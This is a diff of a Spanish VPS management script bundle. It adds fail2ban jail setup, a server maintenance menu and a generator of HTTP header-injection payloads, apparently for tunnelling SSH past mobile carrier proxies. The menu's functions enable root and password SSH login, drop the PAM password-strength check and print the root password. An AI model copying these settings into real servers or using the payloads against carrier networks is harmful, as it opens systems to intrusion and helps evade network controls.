+ echo -ne "${cor[5]} $(fun_trans "Fail2ban sera activo en los Siguientes\n Puertos y Servicos"):"
+ echo ""
+ msg -bar
+ echo -ne "\n"
+ [ "$s1" != "" ] && echo -ne " $s1"
+ [ "$s2" != "" ] && echo -ne " $s2"
+ [ "$s3" != "" ] && echo -ne " $s3"
+ [ "$s4" != "" ] && echo -ne " $s4"
+ [ "$s5" != "" ] && echo -ne " $s5"
+ echo -ne "\n"
+ echo -ne "\n"
+ msg -bar
+ sleep 1
+ if [[ "$s1" != "" ]]; then
+ echo '[sshd]
+ enabled = true
+ port    = ssh
+ logpath = %(sshd_log)s
+ backend = %(sshd_backend)s
+ [sshd-ddos]
+ enabled = true
+ port    = ssh
+ logpath = %(sshd_log)s
+ backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
+ else
+ echo '[sshd]
+ port    = ssh
+ logpath = %(sshd_log)s
+ backend = %(sshd_backend)s
+ [sshd-ddos]
+ port    = ssh
+ logpath = %(sshd_log)s
+ backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
+ fi
+ if [[ "$s2" != "" ]]; then
+ echo '[squid]
+ enabled = true
+ port     =  80,443,3128,8080
+ logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
+ else
+ echo '[squid]
+ port     =  80,443,3128,8080
+ logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
+ fi
+ if [[ "$s3" != "" ]]; then
+ echo '[dropbear]
+ enabled = true
+ port     = ssh
+ logpath  = %(dropbear_log)s
+ backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
+ else
+ echo '[dropbear]
+ port     = ssh
+ logpath  = %(dropbear_log)s
+ backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
+ fi
+ if [[ "$s4" != "" ]]; then
+ echo '[apache-auth]
+ enabled = true
+ port     = http,https
+ logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
+ else
+ echo '[apache-auth]
+ port     = http,https
+ logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
+ fi
+ echo '[selinux-ssh]
+ port     = ssh
+ logpath  = %(auditd_log)s
+ [apache-badbots]
+ port     = http,https
+ logpath  = %(apache_access_log)s
+ bantime  = 172800
+ maxretry = 1
+ [apache-noscript]
+ port     = http,https
+ logpath  = %(apache_error_log)s
+ [apache-overflows]
+ port     = http,https
+ logpath  = %(apache_error_log)s
+ maxretry = 2
+ [apache-nohome]
+ port     = http,https
+ logpath  = %(apache_error_log)s
+ maxretry = 2
+ [apache-botsearch]
+ port     = http,https
+ logpath  = %(apache_error_log)s
+ maxretry = 2
+ [apache-fakegooglebot]
+ port     = http,https
+ logpath  = %(apache_access_log)s
+ maxretry = 1
+ ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip>
+ [apache-modsecurity]
+ port     = http,https
+ logpath  = %(apache_error_log)s
+ maxretry = 2
+ [apache-shellshock]
+ port    = http,https
+ logpath = %(apache_error_log)s
+ maxretry = 1
+ [openhab-auth]
+ filter = openhab
+ action = iptables-allports[name=NoAuthFailures]
+ logpath = /opt/openhab/logs/request.log
+ [nginx-http-auth]
+ port    = http,https
+ logpath = %(nginx_error_log)s
+ [nginx-limit-req]
+ port    = http,https
+ logpath = %(nginx_error_log)s
+ [nginx-botsearch]
+ port     = http,https
+ logpath  = %(nginx_error_log)s
+ maxretry = 2
+ [php-url-fopen]
+ port    = http,https
+ logpath = %(nginx_access_log)s
+           %(apache_access_log)s
+ [suhosin]
+ port    = http,https
+ logpath = %(suhosin_log)s
+ [lighttpd-auth]
+ port    = http,https
+ logpath = %(lighttpd_error_log)s
+ [roundcube-auth]
+ port     = http,https
+ logpath  = %(roundcube_errors_log)s
+ [openwebmail]
+ port     = http,https
+ logpath  = /var/log/openwebmail.log
+ [horde]
+ port     = http,https
+ logpath  = /var/log/horde/horde.log
+ [groupoffice]
+ port     = http,https
+ logpath  = /home/groupoffice/log/info.log
+ [sogo-auth]
+ port     = http,https
+ logpath  = /var/log/sogo/sogo.log
+ [tine20]
+ logpath  = /var/log/tine20/tine20.log
+ port     = http,https
+ [drupal-auth]
+ port     = http,https
+ logpath  = %(syslog_daemon)s
+ backend  = %(syslog_backend)s
+ [guacamole]
+ port     = http,https
+ logpath  = /var/log/tomcat*/catalina.out
+ [monit]
+ #Ban clients brute-forcing the monit gui login
+ port = 2812
+ logpath  = /var/log/monit
+ [webmin-auth]
+ port    = 10000
+ logpath = %(syslog_authpriv)s
+ backend = %(syslog_backend)s
+ [froxlor-auth]
+ port    = http,https
+ logpath  = %(syslog_authpriv)s
+ backend  = %(syslog_backend)s
+ [3proxy]
+ port    = 3128
+ logpath = /var/log/3proxy.log
+ [proftpd]
+ port     = ftp,ftp-data,ftps,ftps-data
+ logpath  = %(proftpd_log)s
+ backend  = %(proftpd_backend)s
+ [pure-ftpd]
+ port     = ftp,ftp-data,ftps,ftps-data
+ logpath  = %(pureftpd_log)s
+ backend  = %(pureftpd_backend)s
+ [gssftpd]
+ port     = ftp,ftp-data,ftps,ftps-data
+ logpath  = %(syslog_daemon)s
+ backend  = %(syslog_backend)s
+ [wuftpd]
+ port     = ftp,ftp-data,ftps,ftps-data
+ logpath  = %(wuftpd_log)s
+ backend  = %(wuftpd_backend)s
+ [vsftpd]
+ port     = ftp,ftp-data,ftps,ftps-data
+ logpath  = %(vsftpd_log)s
+ [assp]
+ port     = smtp,465,submission
+ logpath  = /root/path/to/assp/logs/maillog.txt
+ [courier-smtp]
+ port     = smtp,465,submission
+ logpath  = %(syslog_mail)s
+ backend  = %(syslog_backend)s
+ [postfix]
+ port     = smtp,465,submission
+ logpath  = %(postfix_log)s
+ backend  = %(postfix_backend)s
+ [postfix-rbl]
+ port     = smtp,465,submission
+ logpath  = %(postfix_log)s
+ backend  = %(postfix_backend)s
+ maxretry = 1
+ [sendmail-auth]
+ port    = submission,465,smtp
+ logpath = %(syslog_mail)s
+ backend = %(syslog_backend)s
+ [sendmail-reject]
+ port     = smtp,465,submission
+ logpath  = %(syslog_mail)s
+ backend  = %(syslog_backend)s
+ [qmail-rbl]
+ filter  = qmail
+ port    = smtp,465,submission
+ logpath = /service/qmail/log/main/current
+ [dovecot]
+ port    = pop3,pop3s,imap,imaps,submission,465,sieve
+ logpath = %(dovecot_log)s
+ backend = %(dovecot_backend)s
+ [sieve]
+ port   = smtp,465,submission
+ logpath = %(dovecot_log)s
+ backend = %(dovecot_backend)s
+ [solid-pop3d]
+ port    = pop3,pop3s
+ logpath = %(solidpop3d_log)s
+ [exim]
+ port   = smtp,465,submission
+ logpath = %(exim_main_log)s
+ [exim-spam]
+ port   = smtp,465,submission
+ logpath = %(exim_main_log)s
+ [kerio]
+ port    = imap,smtp,imaps,465
+ logpath = /opt/kerio/mailserver/store/logs/security.log
+ [courier-auth]
+ port     = smtp,465,submission,imap3,imaps,pop3,pop3s
+ logpath  = %(syslog_mail)s
+ backend  = %(syslog_backend)s
+ [postfix-sasl]
+ port     = smtp,465,submission,imap3,imaps,pop3,pop3s
+ logpath  = %(postfix_log)s
+ backend  = %(postfix_backend)s
+ [perdition]
+ port   = imap3,imaps,pop3,pop3s
+ logpath = %(syslog_mail)s
+ backend = %(syslog_backend)s
+ [squirrelmail]
+ port = smtp,465,submission,imap2,imap3,imaps,pop3,pop3s,http,https,socks
+ logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log
+ [cyrus-imap]
+ port   = imap3,imaps
+ logpath = %(syslog_mail)s
+ backend = %(syslog_backend)s
+ [uwimap-auth]
+ port   = imap3,imaps
+ logpath = %(syslog_mail)s
+ backend = %(syslog_backend)s
+ [named-refused]
+ port     = domain,953
+ logpath  = /var/log/named/security.log
+ [nsd]
+ port     = 53
+ action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+ logpath = /var/log/nsd.log
+ [asterisk]
+ port     = 5060,5061
+ action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+            %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+ logpath  = /var/log/asterisk/messages
+ maxretry = 10
+ [freeswitch]
+ port     = 5060,5061
+ action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+            %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+ logpath  = /var/log/freeswitch.log
+ maxretry = 10
+ [mysqld-auth]
+ port     = 3306
+ logpath  = %(mysql_log)s
+ backend  = %(mysql_backend)s
+ [recidive]
+ logpath  = /var/log/fail2ban.log
+ banaction = %(banaction_allports)s
+ bantime  = 604800  ; 1 week
+ findtime = 86400   ; 1 day
+ [pam-generic]
+ banaction = %(banaction_allports)s
+ logpath  = %(syslog_authpriv)s
+ backend  = %(syslog_backend)s
+ [xinetd-fail]
+ banaction = iptables-multiport-log
+ logpath   = %(syslog_daemon)s
+ backend   = %(syslog_backend)s
+ maxretry  = 2
+ [stunnel]
+ logpath = /var/log/stunnel4/stunnel.log
+ [ejabberd-auth]
+ port    = 5222
+ logpath = /var/log/ejabberd/ejabberd.log
+ [counter-strike]
+ logpath = /opt/cstrike/logs/L[0-9]*.log
+ # Firewall: http://www.cstrike-planet.com/faq/6
+ tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039
+ udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015
+ action  = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+            %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+ [nagios]
+ logpath  = %(syslog_daemon)s     ; nrpe.cfg may define a different log_facility
+ backend  = %(syslog_backend)s
+ maxretry = 1
+ [directadmin]
+ logpath = /var/log/directadmin/login.log
+ port = 2222
+ [portsentry]
+ logpath  = /var/lib/portsentry/portsentry.history
+ maxretry = 1
+ [pass2allow-ftp]
+ # this pass2allow example allows FTP traffic after successful HTTP authentication
+ port         = ftp,ftp-data,ftps,ftps-data
+ # knocking_url variable must be overridden to some secret value in filter.d/apache-pass.local
+ filter       = apache-pass
+ # access log of the website with HTTP auth
+ logpath      = %(apache_access_log)s
+ blocktype    = RETURN
+ returntype   = DROP
+ bantime      = 3600
+ maxretry     = 1
+ findtime     = 1
+ [murmur]
+ port     = 64738
+ action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp]
+            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp]
+ logpath  = /var/log/mumble-server/mumble-server.log
+ [screensharingd]
+ logpath  = /var/log/system.log
+ logencoding = utf-8
+ [haproxy-http-auth]
+ logpath  = /var/log/haproxy.log' >> /etc/fail2ban/jail.local
+ 
+ 
+ [[ -e $HOME/fail2ban ]] && rm $HOME/fail2ban
+ [[ -d $HOME/fail2ban-0.11.2 ]] && rm -rf $HOME/fail2ban-0.11.2
+ 
+ cd 
+ service fail2ban restart
+ fi
+  

+ 228 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/gestor.sh

@@ -0,0 +1,228 @@
+# !/bin/bash
+# 27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<10; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+
+update_pak () {
+echo -ne " \033[1;31m[ ! ] apt-get update"
+apt-get update -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] apt-get upgrade"
+apt-get upgrade -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+return
+}
+
+reiniciar_ser () {
+echo -ne " \033[1;31m[ ! ] Services stunnel4 restart"
+service stunnel4 restart > /dev/null 2>&1
+[[ -e /etc/init.d/stunnel4 ]] && /etc/init.d/stunnel4 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services squid restart"
+service squid restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services squid3 restart"
+service squid3 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services apache2 restart"
+service apache2 restart > /dev/null 2>&1
+[[ -e /etc/init.d/apache2 ]] && /etc/init.d/apache2 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services openvpn restart"
+service openvpn restart > /dev/null 2>&1
+[[ -e /etc/init.d/openvpn ]] && /etc/init.d/openvpn restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services dropbear restart"
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services ssh restart"
+service ssh restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services fail2ban restart"
+( 
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart
+fail2ban-client -x stop && fail2ban-client -x start
+) > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+return
+}
+
+reiniciar_vps () {
+echo -ne " \033[1;31m[ ! ] Sudo Reboot"
+sleep 3s
+echo -e "\033[1;32m [OK]"
+(
+sudo reboot
+) > /dev/null 2>&1
+msg -bar
+return
+}
+
+host_name () {
+unset name
+while [[ ${name} = "" ]]; do
+echo -ne "\033[1;37m $(fun_trans "Nuevo nombre del host"): " && read name
+tput cuu1 && tput dl1
+done
+hostnamectl set-hostname $name 
+if [ $(hostnamectl status | head -1  | awk '{print $3}') = "${name}" ]; then 
+echo -e "\033[1;33m $(fun_trans "Host alterado corretamente")!, $(fun_trans "reiniciar VPS")"
+else
+echo -e "\033[1;33m $(fun_trans "Host no modificado")!"
+fi
+msg -bar
+return
+}
+
+cambiopass () {
+echo -e "${cor[3]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")"
+echo -e "${cor[3]} $(fun_trans "Esta contraseña es utilizada como usuario") root"
+msg -bar
+echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+msg -bar
+#Inicia Procedimentos
+echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")"
+msg -bar
+read  -p " Nuevo passwd: " pass
+(echo $pass; echo $pass)|passwd 2>/dev/null
+sleep 1s
+msg -bar
+echo -e "${cor[3]} $(fun_trans "Contraseña cambiada con exito!")"
+echo -e "${cor[2]} $(fun_trans "Su contraseña ahora es"): ${cor[4]}$pass"
+msg -bar
+return
+}
+
+rootpass () {
+clear
+msg -bar
+echo -e "${cor[3]}  Esta herramienta cambia a usuario root las VPS de "
+echo -e "${cor[3]}             GoogleCloud y Amazon"
+msg -bar
+echo -ne " Desea Seguir? [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+msg -bar
+#Inicia Procedimentos
+echo -e "                 Aplicando Configuraciones"
+fun_bar "service ssh restart"
+#Parametros Aplicados
+sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config
+msg -bar
+echo -e "Escriba su contraseña root actual o cambiela"
+msg -bar
+read  -p " Nuevo passwd: " pass
+(echo $pass; echo $pass)|passwd 2>/dev/null
+sleep 1s
+msg -bar
+echo -e "${cor[3]} Configuraciones aplicadas con exito!"
+echo -e "${cor[2]} Su contraseña ahora es: ${cor[4]}$pass"
+service ssh restart > /dev/null 2>&1
+msg -bar
+return
+}
+
+
+pamcrack () {
+echo -e "${cor[3]} $(fun_trans "Liberar passwd para VURTL")"
+msg -bar
+echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+echo -e ""
+fun_bar "service ssh restart"
+sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password
+fun_bar "service ssh restart"
+echo -e ""
+echo -e " \033[1;31m[ ! ]\033[1;33m $(fun_trans "Configuraciones VURTL aplicadas")"
+msg -bar
+return
+}
+
+timemx () {
+rm -rf /etc/localtime
+ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
+echo -e " FECHA LOCAL MX APLICADA!"
+}
+
+timearg () {
+rm -rf /etc/localtime
+ln -sf /usr/share/zoneinfo/America/Argentina/Buenos_Aires /etc/localtime
+echo -e " FECHA LOCAL ARG APLICADA!"
+}
+
+
+gestor_fun () {
+clear
+msg -bar
+msg -tit
+echo -e " ${cor[3]}             AJUSTES INTERNOS DEL VPS  "
+msg -bar
+while true; do
+echo -e "${cor[4]} [1] > \033[1;36mACTULIZAR VPS"
+echo -e "${cor[4]} [2] > \033[1;36mREINICIAR SERVICIOS"
+echo -e "${cor[4]} [3] > \033[1;36mREINICIAR VPS"
+echo -e "${cor[4]} [4] > \033[1;36mCAMBIAR HOSTNAME VPS"
+echo -e "${cor[4]} [5] > \033[1;36mCAMBIAR CONTRASEÑA ROOT"
+echo -e "${cor[4]} [6] > \033[1;36mCAMBIAR HORA LOCAL MX"
+echo -e "${cor[4]} [7] > \033[1;36mCAMBIAR HORA LOCAL ARG"
+echo -e "${cor[2]} [8] > \033[1;100mAGREGAR ROOT a GoogleCloud y Amazon \033[0;37m"
+echo -e "$(msg -bar)\n${cor[4]} [0] > \e[97m\033[1;41m VOLVER \033[1;37m"
+while [[ ${opx} != @(0|[1-9]) ]]; do
+msg -bar
+echo -ne " Seleccione una Opcion: \033[1;37m" && read opx
+tput cuu1 && tput dl1
+done
+case $opx in
+	0)
+	return;;
+	1)
+	update_pak
+	break;;
+	2)
+	reiniciar_ser
+	break;;
+	3)
+	reiniciar_vps
+	break;;
+	4)
+	host_name
+	break;;
+	5)
+	cambiopass
+	break;;
+	6)
+	timemx
+	break;;
+	7)
+	timearg
+	break;;
+	8)
+	rootpass
+	break;;
+esac
+done
+}
+gestor_fun

+ 283 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/paysnd.sh

@@ -0,0 +1,283 @@
+#!/bin/bash
+#19/12/2019
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+construct_fun () {
+payload="$1"
+sed -i 's/.crlf]/\\r\\n&/g' ${payload}
+sed -i "s/.crlf]//g" ${payload}
+sed -i 's/.cr]/\\r&/g' ${payload}
+sed -i "s/.cr]//g" ${payload}
+sed -i 's/.lf]/\\n&/g' ${payload}
+sed -i "s/.lf]//g" ${payload}
+sed -i "s/.auth]//g" ${payload}
+sed -i 's/.delay_split]/\\r\\n&/g' ${payload}
+sed -i "s/.delay_split]//g" ${payload}
+sed -i 's/.instant_split]/\\r\\n&/g' ${payload}
+sed -i "s/.instant_split]//g" ${payload}
+sed -i 's/.split]/\\r\\n&/g' ${payload}
+sed -i "s/.split]//g" ${payload}
+sed -i "s;.host_port];${hostprox}:22;g" ${payload}
+sed -i "s;.host];${proxy};g" ${payload}
+sed -i "s;.port];:22;g" ${payload}
+sed -i 's;.protocol];HTTP/1.0;g' ${payload}
+sed -i 's;.ua];Dalvik/2.1.0;g' ${payload}
+sed -i 's;.method];CONNECT;g' ${payload}
+sed -i "s;.raw];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+sed -i "s;.netData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+sed -i "s;.realData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+}
+esquelet="./payloads.txt"
+gerar_arqpay () {
+echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
+[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
+[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
